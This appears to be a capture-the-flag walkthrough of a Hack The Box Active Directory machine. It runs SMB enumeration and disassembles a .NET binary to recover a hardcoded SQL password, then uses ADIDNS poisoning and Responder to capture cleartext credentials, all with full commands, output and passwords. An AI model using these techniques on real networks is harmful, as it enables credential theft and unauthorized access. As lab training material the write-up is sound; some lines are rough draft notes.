Attack Chain

None

Recon

We started with an Nmap service scan.

sudo nmap -sS -sV 10.129.52.87 -oN out.txt

Here:

  • -sS performs a TCP SYN scan
  • -sV enables service version detection
  • -oN out.txt saves the output into a file

The scan revealed multiple AD related services.

alhamrizvi@alhams-fedora:~/overwatch$ sudo nmap -sS -sV 10.129.52.87 -oN out.txt
[sudo] password for alhamrizvi: 
Starting Nmap 7.92 ( https://nmap.org ) at 2026-05-08 00:08 IST
Nmap scan report for 10.129.52.87
Host is up (0.32s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  tcpwrapped
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-07 18:38:58Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.06 seconds

Port 88 showed Kerberos, 389 showed LDAP and 445 exposed SMB, which strongly indicated that the target was running Active Directory services. Nmap also disclosed the domain name as overwatch.htb and hostname as S200401.

After identifying SMB on port 445, we performed anonymous share enumeration using smbclient.

smbclient -L //10.129.52.87 -N

Here:

  • -L lists available SMB shares
  • -N attempts authentication with a null session without providing a password

The target allowed anonymous listing of SMB shares.

alhamrizvi@alhams-fedora:~/overwatch$ smbclient -L //10.129.52.87 -N

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 software$       Disk      
 SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
alhamrizvi@alhams-fedora:~/overwatch$

During enumeration we discovered the default Active Directory shares NETLOGON and SYSVOL, along with a custom share named software$, which looked particularly interesting.

After discovering the software$ SMB share, we connected to it anonymously using smbclient.

alhamrizvi@alhams-fedora:~/overwatch$ smbclient //10.129.52.87/software$ -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Sat May 17 06:57:07 2025
  ..                                DHS        0  Thu Jan  1 12:16:47 2026
  Monitoring                         DH        0  Sat May 17 07:02:43 2025

  7147007 blocks of size 4096. 981386 blocks available
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> cd Monitoring
smb: \Monitoring\> ls
  .                                  DH        0  Sat May 17 07:02:43 2025
  ..                                 DH        0  Sat May 17 06:57:07 2025
  EntityFramework.dll                AH  4991352  Fri Apr 17 02:08:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Fri Apr 17 02:08:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Fri Apr 17 02:08:56 2020
  EntityFramework.xml                AH  3738289  Fri Apr 17 02:08:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 20:16:10 2017
  overwatch.exe                      AH     9728  Sat May 17 06:49:24 2025
  overwatch.exe.config               AH     2163  Sat May 17 06:32:30 2025
  overwatch.pdb                      AH    30208  Sat May 17 06:49:24 2025
  System.Data.SQLite.dll             AH   450232  Mon Sep 30 02:11:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Mon Sep 30 02:10:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Mon Sep 30 02:10:42 2024
  System.Data.SQLite.xml             AH  1245480  Sun Sep 29 00:18:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 20:16:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 20:16:10 2017
  x64                                DH        0  Sat May 17 07:02:33 2025
  x86                                DH        0  Sat May 17 07:02:33 2025

  7147007 blocks of size 4096. 1000988 blocks available
smb: \Monitoring\> get overwatch.exe.config
getting file \Monitoring\overwatch.exe.config of size 2163 as overwatch.exe.config (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \Monitoring\> get overwatch.exe
getting file \Monitoring\overwatch.exe of size 9728 as overwatch.exe (7.5 KiloBytes/sec) (average 4.5 KiloBytes/sec)
smb: \Monitoring\> get overwatch.pdb
getting file \Monitoring\overwatch.pdb of size 30208 as overwatch.pdb (15.3 KiloBytes/sec) (average 9.2 KiloBytes/sec)
smb: \Monitoring\> exit

After downloading the files from the SMB share, we analyzed the .NET executable using monodis.

sudo dnf install mono-devel -y

Here:

  • dnf install installs packages on Fedora
  • mono-devel contains tools for analyzing .NET binaries including monodis

After installing the package, we disassembled the executable.

monodis overwatch.exe

monodis is used to decompile and inspect .NET assemblies, allowing us to read methods, classes and hardcoded strings from the binary.

alhamrizvi@alhams-fedora:~/overwatch$ sudo dnf install mono-devel -y
monodis overwatch.exe
[sudo] password for alhamrizvi: 
Updating and loading repositories:
 Fedora 43 - x86_64 - Test Updates                                                 100% |   3.9 KiB/s |   5.9 KiB |  00m02s
 Fedora 43 - x86_64 - Updates                                                      100% |  12.8 KiB/s |   7.5 KiB |  00m01s
Repositories loaded.
Package "mono-devel-6.12.0-21.fc43.x86_64" is already installed.

Nothing to do.
.assembly extern mscorlib
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.ServiceModel
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management
{
  .ver 4:0:0:0
  .publickeytoken = (B0 3F 5F 7F 11 D5 0A 3A ) // .?_....:
}
.assembly extern System
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Data
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System.Management.Automation
{
  .ver 3:0:0:0
  .publickeytoken = (31 BF 38 56 AD 36 4E 35 ) // 1.8V.6N5
}
.assembly extern System.Data.SQLite
{
  .ver 1:0:119:0
  .publickeytoken = (DB 93 7B C2 D4 4F F1 39 ) // ..{..O.9
}
.assembly 'overwatch'
{
  .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) =  (01 00 08 00 00 00 00 00 ) // ........

  .custom instance void class [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::'.ctor'() =  (
  01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx
  63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01       ) // ceptionThrows.

  .custom instance void class [mscorlib]System.Diagnostics.DebuggableAttribute::'.ctor'(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) =  (01 00 02 00 00 00 00 00 ) // ........

  .custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) =  (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..

  .custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) =  (01 00 09 6F 76 65 72 77 61 74 63 68 00 00 ) // ...overwatch..

  .custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) =  (
  01 00 12 43 6F 70 79 72 69 67 68 74 20 C2 A9 20   // ...Copyright .. 
  20 32 30 32 35 00 00                            ) //  2025..

  .custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) =  (01 00 00 00 00 ) // .....

  .custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) =  (
  01 00 24 32 66 63 36 30 34 63 38 2D 32 37 62 35   // ..$2fc604c8-27b5
  2D 34 64 34 31 2D 38 37 32 35 2D 31 61 64 38 34   // -4d41-8725-1ad84
  30 33 35 33 64 32 36 00 00                      ) // 0353d26..

  .custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) =  (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0..

  .custom instance void class [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::'.ctor'(string) =  (
  01 00 1C 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B   // ....NETFramework
  2C 56 65 72 73 69 6F 6E 3D 76 34 2E 37 2E 32 01   // ,Version=v4.7.2.
  00 54 0E 14 46 72 61 6D 65 77 6F 72 6B 44 69 73   // .T..FrameworkDis
  70 6C 61 79 4E 61 6D 65 14 2E 4E 45 54 20 46 72   // playName..NET Fr
  61 6D 65 77 6F 72 6B 20 34 2E 37 2E 32          ) // amework 4.7.2

  .hash algorithm 0x00008004
  .ver  1:0:0:0
}
.module overwatch.exe // GUID = {D75E208A-43BD-49E3-A2E3-AA2002B2944E}

.stackreserve 0x400000

  .class interface public auto ansi abstract beforefieldinit IMonitoringService
  {
    .custom instance void class [System.ServiceModel]System.ServiceModel.ServiceContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....


    // method line 1
    .method public virtual hidebysig newslot abstract 
           instance default string StartMonitoring ()  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::StartMonitoring

    // method line 2
    .method public virtual hidebysig newslot abstract 
           instance default string StopMonitoring ()  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::StopMonitoring

    // method line 3
    .method public virtual hidebysig newslot abstract 
           instance default string KillProcess (string processName)  cil managed 
    {
        .custom instance void class [System.ServiceModel]System.ServiceModel.OperationContractAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x0
    } // end of method IMonitoringService::KillProcess

  } // end of class IMonitoringService

  .class public auto ansi beforefieldinit MonitoringService
   extends [mscorlib]System.Object
   implements IMonitoringService  {
    .field  private  class [System.Management]System.Management.ManagementEventWatcher processStartWatcher
    .field  private  bool isRunning
    .field  private initonly  string connectionString

    // method line 4
    .method public final virtual hidebysig newslot 
           instance default string StartMonitoring ()  cil managed 
    {
        // Method begins at RVA 0x2048
 // Code size 50 (0x32)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldfld bool MonitoringService::isRunning
 IL_0006:  brfalse.s IL_000e

 IL_0008:  ldstr "Already monitoring."
 IL_000d:  ret 
 IL_000e:  ldarg.0 
 IL_000f:  ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
 IL_0015:  newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
 IL_001a:  call void class [System]Microsoft.Win32.SystemEvents::add_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
 IL_001f:  ldarg.0 
 IL_0020:  call instance void class MonitoringService::StartProcessWatcher()
 IL_0025:  ldarg.0 
 IL_0026:  ldc.i4.1 
 IL_0027:  stfld bool MonitoringService::isRunning
 IL_002c:  ldstr "Monitoring started."
 IL_0031:  ret 
    } // end of method MonitoringService::StartMonitoring

    // method line 5
    .method public final virtual hidebysig newslot 
           instance default string StopMonitoring ()  cil managed 
    {
        // Method begins at RVA 0x207b
 // Code size 55 (0x37)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldfld bool MonitoringService::isRunning
 IL_0006:  brtrue.s IL_000e

 IL_0008:  ldstr "Monitoring not active."
 IL_000d:  ret 
 IL_000e:  ldarg.0 
 IL_000f:  ldftn instance void class MonitoringService::SystemEvents_SessionSwitch(object, class [System]Microsoft.Win32.SessionSwitchEventArgs)
 IL_0015:  newobj instance void class [System]Microsoft.Win32.SessionSwitchEventHandler::'.ctor'(object, native int)
 IL_001a:  call void class [System]Microsoft.Win32.SystemEvents::remove_SessionSwitch(class [System]Microsoft.Win32.SessionSwitchEventHandler)
 IL_001f:  ldarg.0 
 IL_0020:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0025:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Stop()
 IL_002a:  ldarg.0 
 IL_002b:  ldc.i4.0 
 IL_002c:  stfld bool MonitoringService::isRunning
 IL_0031:  ldstr "Monitoring stopped."
 IL_0036:  ret 
    } // end of method MonitoringService::StopMonitoring

    // method line 6
    .method private hidebysig 
           instance default void SystemEvents_SessionSwitch (object sender, class [System]Microsoft.Win32.SessionSwitchEventArgs e)  cil managed 
    {
        // Method begins at RVA 0x20b4
 // Code size 44 (0x2c)
 .maxstack 4
 .locals init (
  string V_0,
  valuetype [System]Microsoft.Win32.SessionSwitchReason V_1)
 IL_0000:  ldarg.2 
 IL_0001:  callvirt instance valuetype [System]Microsoft.Win32.SessionSwitchReason class [System]Microsoft.Win32.SessionSwitchEventArgs::get_Reason()
 IL_0006:  stloc.1 
 IL_0007:  ldloca.s 1
 IL_0009:  constrained. [System]Microsoft.Win32.SessionSwitchReason
 IL_000f:  callvirt instance string object::ToString()
 IL_0014:  stloc.0 
 IL_0015:  ldarg.0 
 IL_0016:  ldstr "SessionSwitch"
 IL_001b:  ldstr "Reason: "
 IL_0020:  ldloc.0 
 IL_0021:  call string string::Concat(string, string)
 IL_0026:  call instance void class MonitoringService::LogEvent(string, string)
 IL_002b:  ret 
    } // end of method MonitoringService::SystemEvents_SessionSwitch

    // method line 7
    .method private hidebysig 
           instance default void StartProcessWatcher ()  cil managed 
    {
        // Method begins at RVA 0x20ec
 // Code size 58 (0x3a)
 .maxstack 3
 .locals init (
  class [System.Management]System.Management.WqlEventQuery V_0)
 IL_0000:  ldstr "SELECT * FROM Win32_ProcessStartTrace"
 IL_0005:  newobj instance void class [System.Management]System.Management.WqlEventQuery::'.ctor'(string)
 IL_000a:  stloc.0 
 IL_000b:  ldarg.0 
 IL_000c:  ldloc.0 
 IL_000d:  newobj instance void class [System.Management]System.Management.ManagementEventWatcher::'.ctor'(class [System.Management]System.Management.EventQuery)
 IL_0012:  stfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0017:  ldarg.0 
 IL_0018:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_001d:  ldarg.0 
 IL_001e:  ldftn instance void class MonitoringService::'<StartProcessWatcher>b__6_0'(object, class [System.Management]System.Management.EventArrivedEventArgs)
 IL_0024:  newobj instance void class [System.Management]System.Management.EventArrivedEventHandler::'.ctor'(object, native int)
 IL_0029:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::add_EventArrived(class [System.Management]System.Management.EventArrivedEventHandler)
 IL_002e:  ldarg.0 
 IL_002f:  ldfld class [System.Management]System.Management.ManagementEventWatcher MonitoringService::processStartWatcher
 IL_0034:  callvirt instance void class [System.Management]System.Management.ManagementEventWatcher::Start()
 IL_0039:  ret 
    } // end of method MonitoringService::StartProcessWatcher

    // method line 8
    .method private hidebysig 
           instance default void LogEvent (string 'type', string detail)  cil managed 
    {
        // Method begins at RVA 0x2134
 // Code size 86 (0x56)
 .maxstack 4
 .locals init (
  class [System.Data]System.Data.SqlClient.SqlConnection V_0)
 IL_0000:  ldarg.0 
 IL_0001:  ldfld string MonitoringService::connectionString
 IL_0006:  newobj instance void class [System.Data]System.Data.SqlClient.SqlConnection::'.ctor'(string)
 IL_000b:  stloc.0 
 .try { // 0
   IL_000c:  ldc.i4.5 
   IL_000d:  newarr [mscorlib]System.String
   IL_0012:  dup 
   IL_0013:  ldc.i4.0 
   IL_0014:  ldstr "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), '"
   IL_0019:  stelem.ref 
   IL_001a:  dup 
   IL_001b:  ldc.i4.1 
   IL_001c:  ldarg.1 
   IL_001d:  stelem.ref 
   IL_001e:  dup 
   IL_001f:  ldc.i4.2 
   IL_0020:  ldstr "', '"
   IL_0025:  stelem.ref 
   IL_0026:  dup 
   IL_0027:  ldc.i4.3 
   IL_0028:  ldarg.2 
   IL_0029:  stelem.ref 
   IL_002a:  dup 
   IL_002b:  ldc.i4.4 
   IL_002c:  ldstr "')"
   IL_0031:  stelem.ref 
   IL_0032:  call string string::Concat(string[])
   IL_0037:  ldloc.0 
   IL_0038:  newobj instance void class [System.Data]System.Data.SqlClient.SqlCommand::'.ctor'(string, class [System.Data]System.Data.SqlClient.SqlConnection)
   IL_003d:  ldloc.0 
   IL_003e:  callvirt instance void class [System.Data]System.Data.Common.DbConnection::Open()
   IL_0043:  callvirt instance int32 class [System.Data]System.Data.Common.DbCommand::ExecuteNonQuery()
   IL_0048:  pop 
   IL_0049:  leave.s IL_0055

 } // end .try 0
 finally  { // 0
   IL_004b:  ldloc.0 
   IL_004c:  brfalse.s IL_0054

   IL_004e:  ldloc.0 
   IL_004f:  callvirt instance void class [mscorlib]System.IDisposable::Dispose()
   IL_0054:  endfinally 
 } // end handler 0
 IL_0055:  ret 
    } // end of method MonitoringService::LogEvent

    // method line 9
    .method public final virtual hidebysig newslot 
           instance default string KillProcess (string processName)  cil managed 
    {
        // Method begins at RVA 0x21a8
    } // end of method MonitoringService::KillProcess

    // method line 10
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x22ac
 // Code size 18 (0x12)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  ldstr "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"
 IL_0006:  stfld string MonitoringService::connectionString
 IL_000b:  ldarg.0 
 IL_000c:  call instance void object::'.ctor'()
 IL_0011:  ret 
    } // end of method MonitoringService::.ctor

    // method line 11
    .method private hidebysig 
           instance default void '<StartProcessWatcher>b__6_0' (object sender, class [System.Management]System.Management.EventArrivedEventArgs e)  cil managed 
    {
        .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilerGeneratedAttribute::'.ctor'() =  (01 00 00 00 ) // ....

        // Method begins at RVA 0x22c0
 // Code size 55 (0x37)
 .maxstack 4
 .locals init (
  string V_0)
 IL_0000:  ldarg.2 
 IL_0001:  callvirt instance class [System.Management]System.Management.ManagementBaseObject class [System.Management]System.Management.EventArrivedEventArgs::get_NewEvent()
 IL_0006:  callvirt instance class [System.Management]System.Management.PropertyDataCollection class [System.Management]System.Management.ManagementBaseObject::get_Properties()
 IL_000b:  ldstr "ProcessName"
 IL_0010:  callvirt instance class [System.Management]System.Management.PropertyData class [System.Management]System.Management.PropertyDataCollection::get_Item(string)
 IL_0015:  callvirt instance object class [System.Management]System.Management.PropertyData::get_Value()
 IL_001a:  callvirt instance string object::ToString()
 IL_001f:  stloc.0 
 IL_0020:  ldarg.0 
 IL_0021:  ldstr "ProcessStart"
 IL_0026:  ldstr "Process: "
 IL_002b:  ldloc.0 
 IL_002c:  call string string::Concat(string, string)
 IL_0031:  call instance void class MonitoringService::LogEvent(string, string)
 IL_0036:  ret 
    } // end of method MonitoringService::<StartProcessWatcher>b__6_0

  } // end of class MonitoringService

  .class private auto ansi beforefieldinit Program
   extends [mscorlib]System.Object
  {

    // method line 12
    .method private static hidebysig 
           default void Main (string[] args)  cil managed 
    {
        // Method begins at RVA 0x2304
 .entrypoint
 // Code size 95 (0x5f)
 .maxstack 5
 IL_0000:  ldtoken MonitoringService
 IL_0005:  call class [mscorlib]System.Type class [mscorlib]System.Type::GetTypeFromHandle(valuetype [mscorlib]System.RuntimeTypeHandle)
 IL_000a:  call !!0[] class [mscorlib]System.Array::Empty<class [System]System.Uri> ()
 IL_000f:  newobj instance void class [System.ServiceModel]System.ServiceModel.ServiceHost::'.ctor'(class [mscorlib]System.Type, class [System]System.Uri[])
 IL_0014:  dup 
 IL_0015:  callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Open()
 IL_001a:  ldstr "Service is running..."
 IL_001f:  call void class [mscorlib]System.Console::WriteLine(string)
 IL_0024:  ldc.r8 30000.
 IL_002d:  newobj instance void class [System]System.Timers.Timer::'.ctor'(float64)
 IL_0032:  dup 
 IL_0033:  ldnull 
 IL_0034:  ldftn void class Program::CheckEdgeHistory(object, class [System]System.Timers.ElapsedEventArgs)
 IL_003a:  newobj instance void class [System]System.Timers.ElapsedEventHandler::'.ctor'(object, native int)
 IL_003f:  callvirt instance void class [System]System.Timers.Timer::add_Elapsed(class [System]System.Timers.ElapsedEventHandler)
 IL_0044:  callvirt instance void class [System]System.Timers.Timer::Start()
 IL_0049:  ldstr "Press Enter to exit..."
 IL_004e:  call void class [mscorlib]System.Console::WriteLine(string)
 IL_0053:  call string class [mscorlib]System.Console::ReadLine()
 IL_0058:  pop 
 IL_0059:  callvirt instance void class [System.ServiceModel]System.ServiceModel.Channels.CommunicationObject::Close()
 IL_005e:  ret 
    } // end of method Program::Main

    // method line 13
    .method private static hidebysig 
           default void CheckEdgeHistory (object sender, class [System]System.Timers.ElapsedEventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2370
    } // end of method Program::CheckEdgeHistory

    // method line 14
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x2494
 // Code size 7 (0x7)
 .maxstack 8
 IL_0000:  ldarg.0 
 IL_0001:  call instance void object::'.ctor'()
 IL_0006:  ret 
    } // end of method Program::.ctor

  } // end of class Program and tell whaty creds w egot

While reviewing the output, we discovered a hardcoded SQL connection string inside the constructor of the MonitoringService class.

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

From this, we extracted the following credentials:

Username: sqlsvc
Password: TI0LKcfHzZw1Vv

The binary also revealed that the application was logging process activity and session events into a SQL database named SecurityLogs using the sqlsvc account.

Initial Access

Using the credentials extracted from the .NET binary, we authenticated to the MSSQL server with Impacket's mssqlclient.py.

alhamrizvi@alhams-fedora:~/overwatch$ python3 /usr/bin/mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.52.87 -port 6520 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
0   
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT name FROM master.dbo.sysdatabases;
name        
---------   
master      
tempdb      
model       
msdb        
overwatch   
SQL (OVERWATCH\sqlsvc  guest@master)> USE overwatch;
ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> SELECT * FROM INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
overwatch       dbo            Eventlog     b'BASE TABLE'   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;
Id   Timestamp   EventType   Details   
--   ---------   ---------   -------   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> EXEC sp_linkedservers;
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> EXEC sp_helplinkedsrvlogin;
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------  

Here:

  • sqlsvc:TI0LKcfHzZw1Vv are the credentials recovered from the binary
  • -port 6520 specifies the custom MSSQL port
  • -windows-auth enables Windows authentication

Authentication succeeded and we obtained an interactive SQL shell.

We first checked whether the sqlsvc account had sysadmin privileges.

SELECT IS_SRVROLEMEMBER('sysadmin');

The query returned:

0

This confirmed that the account was not a SQL administrator.

Next, we enumerated the available databases.

SELECT name FROM master.dbo.sysdatabases;

The server contained a custom database named overwatch.

master
tempdb
model
msdb
overwatch

We switched into the database.

USE overwatch;

Then enumerated the available tables.

SELECT * FROM INFORMATION_SCHEMA.TABLES;

The database contained a single table named Eventlog.

Eventlog

We attempted to read its contents.

SELECT TOP 50 * FROM Eventlog ORDER BY Timestamp DESC;

However, the table was empty.

Next, we enumerated linked SQL servers.

EXEC sp_linkedservers;

This revealed another linked server named SQL07.

S200401\SQLEXPRESS
SQL07

To inspect linked login mappings, we executed:

EXEC sp_helplinkedsrvlogin;

No explicit login mappings were shown.

We then attempted to query the linked server.

EXEC ('SELECT @@version') AT SQL07;

The request failed with a communication error, indicating the server attempted to connect externally to SQL07.

To exploit this behavior, we poisoned the DNS record for SQL07 using dnstool.py.

maybe this is ADIDNS poisoning

None
None
python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87

The DNS record already existed and pointed to our VPN IP 10.10.15.1, meaning the hostname resolution was already poisoned successfully.

Next, we started Responder to capture incoming authentication attempts.

sudo responder -I tun0 -v

Here:

  • -I tun0 listens on the VPN interface
  • -v enables verbose output
[sudo] password for alhamrizvi: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
    DHCPv6                     [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.15.1]
    Responder IPv6             [fe80::50c:1735:96e6:3d2]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-MAHLJGKRWOG]
    Responder Domain Name      [CCYX.LOCAL]
    Responder DCE-RPC Port     [49799]

[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting TCP server on port 3389, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
[MSSQL] Received connection from 10.129.52.87
[MSSQL] Cleartext Client   : 10.129.52.87
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

After triggering the linked server request again, Responder captured MSSQL authentication credentials.

[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

We successfully recovered the following credentials:

Username: sqlmgmt
Password: bIhBbzMMnB82yx

Using these credentials, we authenticated to the target over WinRM with Evil-WinRM.

alhamrizvi@alhams-fedora:~/overwatch$ evil-winrm -i 10.129.52.87 -u sqlmgmt -p 'bIhBbzMMnB82yx'
